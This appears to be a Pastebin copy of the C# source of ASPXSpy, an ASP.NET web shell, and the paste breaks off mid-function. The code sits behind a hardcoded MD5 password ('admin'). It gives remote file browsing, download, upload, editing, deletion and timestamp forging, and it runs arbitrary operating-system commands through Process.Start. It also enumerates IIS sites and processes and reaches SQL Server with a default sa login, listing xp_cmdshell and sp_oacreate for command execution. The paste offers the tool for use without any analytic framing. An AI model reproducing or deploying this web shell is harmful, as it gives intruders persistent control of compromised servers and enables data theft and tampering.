Advertisement
Guest User

Untitled

a guest
Aug 27th, 2018
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.80 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13. /*
  14. Thanks Snailsor,FuYu
  15.  
  16. Code by Bin
  17.  
  18. Make in China
  19.  
  20. Blog: http://www.rootkit.net.cn
  21.  
  22. E-mail : master@rootkit.net.cn
  23. */
  24. public string Password = "21232f297a57a5a743894a0e4a801fc3";//PASS:admin
  25. public string SessionName = "ASPXSpy";
  26. public string Bin_Action = "";
  27. public string Bin_Request = "";
  28. protected OleDbConnection conn = new OleDbConnection();
  29. protected OleDbCommand comm = new OleDbCommand();
  30.  
  31. protected void Page_Load(object sender, EventArgs e)
  32. {
  33.  
  34. if (Session[SessionName] != "BIN")
  35. {
  36. Bin_login();
  37. }
  38. else
  39. {
  40. if (!IsPostBack)
  41. {
  42. Bin_main();
  43. }
  44. else
  45. {
  46.  
  47. Bin_Action = Request["goaction"];
  48. if (Bin_Action == "del")
  49. {
  50. Bin_Request = Request["todo"];
  51. Bin_Filedel(Bin_Request, 1);
  52. }
  53. if (Bin_Action == "change")
  54. {
  55. Bin_Request = Request["todo"];
  56. Bin_FileList(Bin_Request);
  57. }
  58. if (Bin_Action == "deldir")
  59. {
  60. Bin_Request = Request["todo"];
  61. Bin_Filedel(Bin_Request, 2);
  62. }
  63. if (Bin_Action == "down")
  64. {
  65. Bin_Request = Request["todo"];
  66. Bin_Filedown(Bin_Request);
  67. }
  68. if (Bin_Action == "rename")
  69. {
  70. Bin_Request = Request["todo"];
  71. Bin_FileRN(Bin_Request, 1);
  72. }
  73. if (Bin_Action == "renamedir")
  74. {
  75. Bin_Request = Request["todo"];
  76. Bin_FileRN(Bin_Request, 2);
  77. }
  78. if (Bin_Action == "showatt")
  79. {
  80. Bin_Request = Request["todo"];
  81. Bin_Fileatt(Bin_Request);
  82. }
  83. if (Bin_Action == "edit")
  84. {
  85. Bin_Request = Request["todo"];
  86. Bin_FileEdit(Bin_Request);
  87. }
  88. if (Bin_Action == "postdata")
  89. {
  90.  
  91. Bin_Request = Request["todo"];
  92. Session["Bin_Table"] = Bin_Request;
  93. Bin_DataGrid.CurrentPageIndex = 0;
  94. Bin_DBstrTextBox.Text = "";
  95. Bin_Databind();
  96. }
  97. if (Bin_Action == "changedata")
  98. {
  99. Session["Bin_Table"] = null;
  100. Bin_Request = Request["todo"];
  101. Session["Bin_Option"] = Request["intext"];
  102. Bin_Change();
  103. Bin_DBinfoLabel.Visible = false;
  104. Bin_DBstrTextBox.Text = Bin_Request;
  105.  
  106. }
  107. if (Session["Bin_Table"] != null)
  108. {
  109. Bin_Databind();
  110. }
  111.  
  112. }
  113. }
  114. }
  115. public void Bin_login()
  116. {
  117. Bin_LoginPanel.Visible = true;
  118. Bin_MainPanel.Visible = false;
  119. Bin_MenuPanel.Visible = false;
  120. Bin_FilePanel.Visible = false;
  121. Bin_CmdPanel.Visible = false;
  122. Bin_SQLPanel.Visible = false;
  123. Bin_SuPanel.Visible = false;
  124. Bin_IISPanel.Visible = false;
  125. Bin_PortPanel.Visible = false;
  126. Bin_RegPanel.Visible = false;
  127. }
  128. public void Bin_main()
  129. {
  130. TimeLabel.Text = DateTime.Now.ToString();
  131. Bin_PortPanel.Visible = false;
  132. Bin_RegPanel.Visible = false;
  133. Bin_LoginPanel.Visible = false;
  134. Bin_MainPanel.Visible = true;
  135. Bin_MenuPanel.Visible = true;
  136. Bin_FilePanel.Visible = false;
  137. Bin_CmdPanel.Visible = false;
  138. Bin_SQLPanel.Visible = false;
  139. Bin_SuPanel.Visible = false;
  140. Bin_IISPanel.Visible = false;
  141. string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"";
  142. string HostName = "HostName : " + Environment.MachineName + "";
  143. string OS = "OS Version : " + Environment.OSVersion + "";
  144. string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "";
  145. string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "";
  146. InfoLabel.Text = "SYS-INFO";
  147. InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "";
  148. InfoLabel.Text += Bin_Process() + "";
  149.  
  150. }
  151. private bool CheckIsNumber(string sSrc)
  152. {
  153. System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  154.  
  155. if (reg.IsMatch(sSrc))
  156. {
  157. return true;
  158. }
  159. else
  160. {
  161. return false;
  162. }
  163. }
  164. public string Bin_iisinfo()
  165. {
  166. string iisinfo = "";
  167. string iisstart = "";
  168. string iisend = "";
  169. string iisstr = "IIS://localhost/W3SVC";
  170. int i = 0;
  171. try
  172. {
  173. DirectoryEntry mydir = new DirectoryEntry(iisstr);
  174. iisstart = "OrderIIS_USERDomainPath";
  175. foreach (DirectoryEntry child in mydir.Children)
  176. {
  177. if (CheckIsNumber(child.Name.ToString()))
  178. {
  179. string dirstr = child.Name.ToString();
  180. string tmpstr = "";
  181. DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  182. DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  183. iisinfo += "" + (i = i + 1) + "";
  184. iisinfo += "" + newdir1.Properties["AnonymousUserName"].Value + "";
  185. iisinfo += "" + child.Properties["ServerBindings"][0] + "";
  186. iisinfo += "" + newdir1.Properties["Path"].Value + "";
  187. iisinfo += "";
  188. }
  189. }
  190. iisend = "";
  191. }
  192. catch (Exception error)
  193. {
  194. Bin_Error(error.Message);
  195. }
  196. return iisstart + iisinfo + iisend;
  197. }
  198. public string Bin_Process()
  199. {
  200. string htmlstr = "PROCESS-INFOIDProcessMemorySizeThreads";
  201. string prostr = "";
  202. string htmlend = "";
  203. try
  204. {
  205. Process[] myprocess = Process.GetProcesses();
  206. foreach (Process p in myprocess)
  207. {
  208. prostr += "" + p.Id.ToString() + "";
  209. prostr += "" + p.ProcessName.ToString() + "";
  210. prostr += "" + p.WorkingSet.ToString() + "";
  211. prostr += "" + p.Threads.Count.ToString() + "";
  212. }
  213. }
  214. catch (Exception Error)
  215. {
  216. Bin_Error(Error.Message);
  217. }
  218. return htmlstr + prostr + htmlend;
  219. }
  220. protected void LoginButton_Click(object sender, EventArgs e)
  221. {
  222. string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  223. if (MD5Pass == Password)
  224. {
  225. Session[SessionName] = "BIN";
  226. Bin_main();
  227. }
  228. else
  229. {
  230. Bin_login();
  231. }
  232. }
  233.  
  234. protected void LogoutButton_Click(object sender, EventArgs e)
  235. {
  236. Session.Abandon();
  237. Bin_login();
  238. }
  239.  
  240. protected void FileButton_Click(object sender, EventArgs e)
  241. {
  242. Bin_LoginPanel.Visible = false;
  243. Bin_MenuPanel.Visible = true;
  244. Bin_MainPanel.Visible = false;
  245. Bin_FilePanel.Visible = true;
  246. Bin_CmdPanel.Visible = false;
  247. Bin_SQLPanel.Visible = false;
  248. Bin_SuPanel.Visible = false;
  249. Bin_IISPanel.Visible = false;
  250. Bin_PortPanel.Visible = false;
  251. Bin_RegPanel.Visible = false;
  252. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  253. Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  254. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  255. Bin_FileList(Server.MapPath("."));
  256.  
  257. }
  258.  
  259. protected void MainButton_Click(object sender, EventArgs e)
  260. {
  261. Bin_main();
  262. }
  263. public void Bin_DriveList()
  264. {
  265. string file = "";
  266. file += "Drives : ";
  267. string[] drivers = Directory.GetLogicalDrives();
  268. for (int i = 0; i < drivers.Length; i++)
  269. {
  270. file += "" + drivers[i] + "&nbsp;";
  271. }
  272. file += " WebRoot : " + Server.MapPath(".") + "";
  273. Bin_FileLabel.Text = file;
  274. }
  275.  
  276. public void Bin_FileList(string Bin_path)
  277. {
  278. Bin_FilePanel.Visible = true;
  279. Bin_CreateTextBox.Text = "";
  280. Bin_CopytoTextBox.Text = "";
  281. Bin_CopyTextBox.Text = Bin_path;
  282. Bin_upTextBox.Text = Bin_path;
  283. Bin_IISPanel.Visible = false;
  284. Bin_DriveList();
  285. string tmpstr="";
  286. string Bin_Filelist = Bin_FilelistLabel.Text;
  287. Bin_Filelist = "";
  288. Bin_Filelist += "";
  289. Bin_Filelist += "NameSize(Byte)";
  290. Bin_Filelist += "ModifyTimeOperate";
  291. try
  292. {
  293. Bin_Filelist += "";
  294. string parstr = "";
  295. if (Bin_path.Length < 4)
  296. {
  297. parstr = formatpath(Bin_path);
  298.  
  299. }
  300. else
  301. {
  302. parstr = formatpath(Directory.GetParent(Bin_path).ToString());
  303.  
  304. }
  305. Bin_Filelist += "|Parent Directory|";
  306. Bin_Filelist += "";
  307.  
  308. DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  309. foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  310. {
  311. string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  312. tmpstr += "";
  313. tmpstr += "" + Bin_folder.Name + "&lt;dir&gt;" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "Ren|Att|Del";
  314. tmpstr += "";
  315. }
  316. foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  317. {
  318. string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  319. tmpstr += "";
  320. tmpstr += "" + Bin_file.Name + "" + Bin_file.Length + "" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "Edit|Ren|Down|Att|Del";
  321. tmpstr += "";
  322. }
  323. tmpstr += "";
  324. }
  325. catch (Exception Error)
  326. {
  327. Bin_Error(Error.Message);
  328.  
  329. }
  330.  
  331. Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  332. }
  333. public void Bin_Filedel(string instr,int type)
  334. {
  335. try
  336. {
  337. if (type == 1)
  338. {
  339. File.Delete(instr);
  340. }
  341. if (type == 2)
  342. {
  343. foreach (string tmp in Directory.GetFileSystemEntries(instr))
  344. {
  345. if (File.Exists(tmp))
  346. {
  347. File.Delete(tmp);
  348. }
  349. else
  350. {
  351. Bin_Filedel(tmp, 2);
  352. }
  353. }
  354. Directory.Delete(instr);
  355. }
  356. }
  357. catch (Exception Error)
  358. {
  359. Bin_Error(Error.Message);
  360. }
  361. Bin_FileList(Bin_upTextBox.Text);
  362. }
  363. public void Bin_FileRN(string instr,int type)
  364. {
  365. try
  366. {
  367. if (type == 1)
  368. {
  369. string[] array = instr.Split(',');
  370.  
  371. File.Move(array[0], array[1]);
  372. }
  373. if (type == 2)
  374. {
  375. string[] array = instr.Split(',');
  376. Directory.Move(array[0], array[1]);
  377. }
  378. }
  379. catch (Exception Error)
  380. {
  381. Bin_Error(Error.Message);
  382. }
  383. Bin_FileList(Bin_upTextBox.Text);
  384. }
  385. public void Bin_Filedown(string instr)
  386. {
  387. try
  388. {
  389. FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  390. long FileSize = MyFileStream.Length;
  391. byte[] Buffer = new byte[(int)FileSize];
  392. MyFileStream.Read(Buffer, 0, (int)FileSize);
  393. MyFileStream.Close();
  394. Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  395. Response.Charset = "UTF-8";
  396. Response.ContentType = "application/octet-stream";
  397. Response.BinaryWrite(Buffer);
  398. Response.Flush();
  399. Response.End();
  400. }
  401. catch (Exception Error)
  402. {
  403. Bin_Error(Error.Message);
  404. }
  405.  
  406. }
  407. public void Bin_Fileatt(string instr)
  408. {
  409. Bin_AttPanel.Visible = true;
  410. Bin_FilePanel.Visible = true;
  411. try
  412. {
  413. string Att = File.GetAttributes(instr).ToString();
  414. Bin_ReadOnlyCheckBox.Checked = false;
  415. Bin_SystemCheckBox.Checked = false;
  416. Bin_HiddenCheckBox.Checked = false;
  417. Bin_ArchiveCheckBox.Checked = false;
  418.  
  419. if (Att.LastIndexOf("ReadOnly") != -1)
  420. {
  421. Bin_ReadOnlyCheckBox.Checked = true;
  422. }
  423. if (Att.LastIndexOf("System") != -1)
  424. {
  425. Bin_SystemCheckBox.Checked = true;
  426. }
  427. if (Att.LastIndexOf("Hidden") != -1)
  428. {
  429. Bin_HiddenCheckBox.Checked = true;
  430. }
  431. if (Att.LastIndexOf("Archive") != -1)
  432. {
  433. Bin_ArchiveCheckBox.Checked = true;
  434. }
  435. Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  436. Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  437. Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  438. }
  439. catch (Exception Error)
  440. {
  441. Bin_Error(Error.Message);
  442. }
  443. Bin_AttLabel.Text = instr;
  444. Session["FileName"] = instr;
  445. Bin_DriveList();
  446. }
  447. public void Bin_FileEdit(string instr)
  448. {
  449. Bin_FilePanel.Visible = true;
  450. Bin_EditPanel.Visible = true;
  451. Bin_DriveList();
  452. Bin_EditpathTextBox.Text = instr;
  453. StreamReader SR = new StreamReader(instr, Encoding.Default);
  454. Bin_EditTextBox.Text = SR.ReadToEnd();
  455. SR.Close();
  456. }
  457. protected void Bin_upButton_Click(object sender, EventArgs e)
  458. {
  459.  
  460. string uppath = Bin_upTextBox.Text;
  461. if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  462. {
  463. uppath = uppath + @"/";
  464. }
  465. try
  466. {
  467. Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  468.  
  469. }
  470. catch (Exception error)
  471. {
  472. Bin_Error(error.Message);
  473. }
  474. Bin_FileList(uppath);
  475. }
  476. public void Bin_Error(string error)
  477. {
  478. Bin_ErrorLabel.Text = "Error : " + error;
  479. }
  480. public string formatpath(string instr)
  481. {
  482. instr = instr.Replace(@"", "/");
  483. if (instr.Length < 4)
  484. {
  485. instr = instr.Replace(@"/", "");
  486. }
  487. if (instr.Length == 2)
  488. {
  489. instr = instr + @"/";
  490. }
  491. instr = instr.Replace(" ", "%20");
  492. return instr;
  493. }
  494. public string formatfile(string instr)
  495. {
  496. instr = instr.Replace(" ", "%20");
  497. return instr;
  498.  
  499. }
  500. protected void Bin_GoButton_Click(object sender, EventArgs e)
  501. {
  502. Bin_FileList(Bin_upTextBox.Text);
  503. }
  504.  
  505. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  506. {
  507. string newfile = Bin_CreateTextBox.Text;
  508. string filepath = Bin_upTextBox.Text;
  509. filepath = filepath + "/" + newfile;
  510. try
  511. {
  512. StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  513.  
  514. }
  515. catch (Exception Error)
  516. {
  517. Bin_Error(Error.Message);
  518. }
  519. Bin_FileList(Bin_upTextBox.Text);
  520. }
  521.  
  522. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  523. {
  524. string dirpath = Bin_upTextBox.Text;
  525. string newdir = Bin_CreateTextBox.Text;
  526. newdir = dirpath + "/" + newdir;
  527. try
  528. {
  529. Directory.CreateDirectory(newdir);
  530.  
  531. }
  532. catch(Exception Error)
  533. {
  534. Bin_Error(Error.Message);
  535. }
  536. Bin_FileList(Bin_upTextBox.Text);
  537. }
  538.  
  539. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  540. {
  541. string copystr = Bin_CopyTextBox.Text;
  542. string copyto = Bin_CopytoTextBox.Text;
  543. try
  544. {
  545. File.Copy(copystr, copyto);
  546. }
  547. catch (Exception Error)
  548. {
  549. Bin_Error(Error.Message);
  550. }
  551. Bin_CopytoTextBox.Text = "";
  552. Bin_FileList(Bin_upTextBox.Text);
  553. }
  554.  
  555. protected void Bin_CutButton_Click(object sender, EventArgs e)
  556. {
  557. string copystr = Bin_CopyTextBox.Text;
  558. string copyto = Bin_CopytoTextBox.Text;
  559. try
  560. {
  561. File.Move(copystr, copyto);
  562. }
  563. catch (Exception Error)
  564. {
  565. Bin_Error(Error.Message);
  566. }
  567. Bin_CopytoTextBox.Text = "";
  568. Bin_FileList(Bin_upTextBox.Text);
  569. }
  570.  
  571. protected void Bin_SetButton_Click(object sender, EventArgs e)
  572. {
  573. try
  574. {
  575. string FileName = Session["FileName"].ToString();
  576. File.SetAttributes(FileName, FileAttributes.Normal);
  577. if (Bin_ReadOnlyCheckBox.Checked)
  578. {
  579. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  580. }
  581.  
  582. if (Bin_SystemCheckBox.Checked)
  583. {
  584. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  585. }
  586. if (Bin_HiddenCheckBox.Checked)
  587. {
  588. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  589. }
  590. if (Bin_ArchiveCheckBox.Checked)
  591. {
  592. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  593. }
  594. if (FileName.Substring(FileName.Length - 1, 1) == "/")
  595. {
  596. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  597. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  598. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  599. }
  600. else
  601. {
  602. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  603. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  604. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  605. }
  606. }
  607. catch (Exception Error)
  608. {
  609. Bin_Error(Error.Message);
  610. }
  611. Bin_FileList(Bin_upTextBox.Text);
  612. Response.Write("alert('Success!')");
  613. }
  614.  
  615. protected void Bin_EditButton_Click(object sender, EventArgs e)
  616. {
  617. try
  618. {
  619. StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  620. SW.Write(Bin_EditTextBox.Text);
  621. SW.Close();
  622. }
  623. catch (Exception Error)
  624. {
  625. Bin_Error(Error.Message);
  626. }
  627. Bin_FileList(Bin_upTextBox.Text);
  628. Response.Write("alert('Success!')");
  629.  
  630. }
  631.  
  632. protected void Bin_BackButton_Click(object sender, EventArgs e)
  633. {
  634. Bin_FileList(Bin_upTextBox.Text);
  635. }
  636.  
  637. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  638. {
  639. Bin_FileList(Bin_upTextBox.Text);
  640. }
  641.  
  642. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  643. {
  644. Bin_MenuPanel.Visible = true;
  645. Bin_LoginPanel.Visible = false;
  646. Bin_CmdPanel.Visible = true;
  647. Bin_SQLPanel.Visible = false;
  648. Bin_CmdLabel.Text = "";
  649. Bin_SuPanel.Visible = false;
  650. Bin_IISPanel.Visible = false;
  651. Bin_RegPanel.Visible = false;
  652. Bin_PortPanel.Visible = false;
  653. }
  654.  
  655. protected void Bin_RunButton_Click(object sender, EventArgs e)
  656. {
  657. try
  658. {
  659. Process Cmdpro = new Process();
  660. Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  661. Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  662. Cmdpro.StartInfo.UseShellExecute = false;
  663. Cmdpro.StartInfo.RedirectStandardInput = true;
  664. Cmdpro.StartInfo.RedirectStandardOutput = true;
  665. Cmdpro.StartInfo.RedirectStandardError = true;
  666. Cmdpro.Start();
  667. string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  668. cmdstr = cmdstr.Replace("", "&gt;");
  669. Bin_CmdLabel.Text = "" + cmdstr + "";
  670. }
  671. catch (Exception Error)
  672. {
  673. Bin_Error(Error.Message);
  674. }
  675. }
  676.  
  677. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  678. {
  679. Bin_CmdPanel.Visible = false;
  680. Bin_SQLPanel.Visible = true;
  681. Bin_LoginPanel.Visible = false;
  682. Bin_MenuPanel.Visible = true;
  683. Bin_AccPanel.Visible = false;
  684. Bin_Scroll.Visible = false;
  685. Bin_DBmenuPanel.Visible = false;
  686. Bin_dirPanel.Visible = false;
  687. Bin_SuPanel.Visible = false;
  688. Bin_IISPanel.Visible = false;
  689. Bin_PortPanel.Visible = false;
  690. Bin_RegPanel.Visible =false;
  691. }
  692.  
  693. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  694. {
  695. Session["Bin_Table"] = null;
  696. Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  697. Bin_SQLRadioButton.Checked = true;
  698. Bin_AccRadioButton.Checked = false;
  699. Bin_AccPanel.Visible = false;
  700. Bin_DataGrid.Visible = false;
  701. Bin_Scroll.Visible = false;
  702. Bin_DBmenuPanel.Visible = false;
  703. Bin_dirPanel.Visible = false;
  704. }
  705.  
  706. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  707. {
  708. Session["Bin_Table"] = null;
  709. Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:wwwrootdatabase.mdb";
  710. Bin_SQLRadioButton.Checked = false;
  711. Bin_AccRadioButton.Checked = true;
  712. Bin_DBmenuPanel.Visible = false;
  713. Bin_AccPanel.Visible = false;
  714. Bin_DataGrid.Visible = false;
  715. Bin_Scroll.Visible = false;
  716. Bin_dirPanel.Visible = false;
  717.  
  718. }
  719. protected void OpenConnection()
  720. {
  721. if (conn.State == ConnectionState.Closed)
  722. {
  723. try
  724. {
  725. conn.ConnectionString = Bin_SQLconnTextBox.Text;
  726. comm.Connection = conn;
  727. conn.Open();
  728. }
  729. catch (Exception Error)
  730. {
  731. Bin_Error(Error.Message);
  732. }
  733. }
  734. }
  735. protected void CloseConnection()
  736. {
  737. if (conn.State == ConnectionState.Open)
  738. conn.Close();
  739. conn.Dispose();
  740. comm.Dispose();
  741. }
  742. public DataTable Bin_DataTable(string sqlstr)
  743. {
  744. OleDbDataAdapter da = new OleDbDataAdapter();
  745. DataTable datatable = new DataTable();
  746. try
  747. {
  748. OpenConnection();
  749. comm.CommandType = CommandType.Text;
  750. comm.CommandText = sqlstr;
  751. da.SelectCommand = comm;
  752. da.Fill(datatable);
  753. }
  754. catch (Exception)
  755. {
  756. }
  757. finally
  758. {
  759. CloseConnection();
  760. }
  761. return datatable;
  762. }
  763. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  764. {
  765. try
  766. {
  767. Session["Bin_Table"] = null;
  768. Bin_DataGrid.CurrentPageIndex = 0;
  769. Bin_DataGrid.AllowPaging = true;
  770. if (Bin_SQLRadioButton.Checked)
  771. {
  772. Bin_DBmenuPanel.Visible = true;
  773. Bin_DBinfoLabel.Visible = true;
  774. Bin_AccPanel.Visible = false;
  775. Bin_Scroll.Visible = false;
  776. Bin_dirPanel.Visible = false;
  777. OpenConnection();
  778. DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  779. DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  780. DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  781. DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  782. DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  783. string dbo = "";
  784. if (owner.Rows[0][0].ToString() == "1")
  785. {
  786. dbo = "db_owner";
  787. }
  788. else
  789. {
  790. dbo = "public";
  791. }
  792. if (rol.Rows[0][0].ToString() == "1")
  793. {
  794. dbo = "sa";
  795. }
  796. string db_info = "";
  797. db_info = "SQLversion : " + ver.Rows[0][0].ToString() + "";
  798. string db_name = "";
  799. for (int i = 0; i < dbs.Rows.Count; i++)
  800. {
  801. db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "" + cdb.Rows[0][0].ToString() + "") + "&nbsp;|&nbsp;";
  802. }
  803. db_info += "DataBase : " + db_name + "";
  804. db_info += "SRVROLEMEMBER : " + dbo + "";
  805. Bin_DBinfoLabel.Text = db_info;
  806. }
  807. if (Bin_AccRadioButton.Checked)
  808. {
  809. Bin_DataGrid.Visible = false;
  810. Bin_SAexecButton.Visible = false;
  811. Bin_Accbind();
  812. }
  813. }
  814. catch (Exception E)
  815. {
  816. Bin_Error(E.Message);
  817. }
  818. }
  819. protected void Bin_Accbind()
  820. {
  821. try
  822. {
  823. Bin_DBmenuPanel.Visible = false;
  824. Bin_AccPanel.Visible = true;
  825. OpenConnection();
  826. DataTable acctable = new DataTable();
  827. acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  828. string accstr = "";
  829. accstr += "Tables Count : " + acctable.Rows.Count + "Please select a database : ";
  830. for (int i = 0; i < acctable.Rows.Count; i++)
  831. {
  832. accstr += "" + acctable.Rows[i].ItemArray[2].ToString() + "";
  833. }
  834. if (Session["Bin_Table"] != null)
  835. {
  836. accstr += "" + Session["Bin_Table"] + "";
  837. }
  838. accstr += "";
  839. Bin_AccinfoLabel.Text = accstr;
  840. CloseConnection();
  841. }
  842. catch (Exception Error)
  843. {
  844. Bin_Error(Error.Message);
  845. }
  846. }
  847. protected void Bin_Databind()
  848. {
  849. try
  850. {
  851. Bin_SAexecButton.Visible = false;
  852. Bin_Accbind();
  853. Bin_Scroll.Visible = true;
  854. if (Bin_SQLRadioButton.Checked)
  855. {
  856. Bin_DBmenuPanel.Visible = true;
  857. Bin_DBinfoLabel.Visible = false;
  858. }
  859. Bin_DataGrid.Visible = true;
  860. DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  861. Bin_DataGrid.DataSource = databind;
  862. Bin_DataGrid.DataBind();
  863. }
  864. catch (Exception Error)
  865. {
  866.  
  867. Bin_Error(Error.Message);
  868. }
  869. }
  870.  
  871. public void Bin_ExecSql(string instr)
  872. {
  873. try
  874. {
  875. OpenConnection();
  876. comm.CommandType = CommandType.Text;
  877. comm.CommandText = instr;
  878. comm.ExecuteNonQuery();
  879. }
  880. catch (Exception e)
  881. {
  882. Bin_Error(e.Message);
  883. }
  884. }
  885. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  886. {
  887.  
  888. for (int i = 2; i < e.Item.Cells.Count; i++)
  889. {
  890. e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("", "&gt;");
  891. }
  892.  
  893. }
  894. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  895. {
  896. Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
  897. Bin_Databind();
  898. }
  899. public void Item_Command(object sender, DataGridCommandEventArgs e)
  900. {
  901. if (e.CommandName == "Cancel")
  902. {
  903. Bin_DataGrid.EditItemIndex = -1;
  904. Bin_Databind();
  905. }
  906. }
  907.  
  908. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  909. {
  910. try
  911. {
  912.  
  913. Bin_Scroll.Visible = true;
  914. Bin_DataGrid.Visible = true;
  915. Bin_DataGrid.AllowPaging = true;
  916. Bin_Accbind();
  917. if (Bin_SQLRadioButton.Checked)
  918. {
  919. Bin_DBmenuPanel.Visible = true;
  920. }
  921. string sqlstr = Bin_DBstrTextBox.Text;
  922. sqlstr = sqlstr.TrimStart().ToLower();
  923. if (sqlstr.Substring(0, 6) == "select")
  924. {
  925. DataTable databind = Bin_DataTable(sqlstr);
  926. Bin_DataGrid.DataSource = databind;
  927. Bin_DataGrid.DataBind();
  928. }
  929. else
  930. {
  931. Bin_ExecSql(sqlstr);
  932. Bin_Databind();
  933. }
  934. }
  935. catch(Exception error)
  936. {
  937. Bin_Error(error.Message);
  938. }
  939. }
  940.  
  941. protected void Bin_BDButton_Click(object sender, EventArgs e)
  942. {
  943. Bin_DBinfoLabel.Visible = false;
  944. Bin_Accbind();
  945. Bin_DBmenuPanel.Visible = true;
  946. Bin_DataGrid.Visible = false;
  947. Bin_DataGrid.AllowPaging = true;
  948. Bin_Scroll.Visible = false;
  949. Bin_DBstrTextBox.Text = "";
  950. Bin_SAexecButton.Visible = false;
  951. Bin_ResLabel.Visible = false;
  952. Bin_dirPanel.Visible = false;
  953.  
  954. }
  955.  
  956. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  957. {
  958. Bin_DBinfoLabel.Visible = false;
  959. Bin_DataGrid.Visible = false;
  960. Bin_Scroll.Visible = false;
  961. Bin_SAexecButton.Visible = true;
  962. Bin_Change();
  963. Bin_ExecButton.Visible = false;
  964. Bin_ResLabel.Visible = false;
  965. Session["Bin_Option"] = null;
  966. Bin_dirPanel.Visible = false;
  967.  
  968. }
  969. public void Bin_Change()
  970. {
  971. Bin_ExecButton.Visible = false;
  972. string select = "SQL Server ExecAdd sp_oacreateAdd xp_cmdshellAdd xp_cmdshellAdd xp_cmdshell(SQL2005)XP_cmdshell execSP_oamethod execSP_makewebtask make file";
  973. if (Session["Bin_Option"] != null)
  974. {
  975. select += "" + Session["Bin_Option"] + "";
  976. }
  977. select += "";
  978. Bin_AccinfoLabel.Text = select;
  979. Bin_DataGrid.Visible = false;
  980. Bin_Scroll.Visible = false;
  981. }
  982.  
  983. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  984. {
  985. try
  986. {
  987. Bin_Change();
  988. Bin_DBinfoLabel.Visible = false;
  989. Bin_ExecButton.Visible = false;
  990. Bin_Scroll.Visible = false;
  991. Bin_DataGrid.Visible = false;
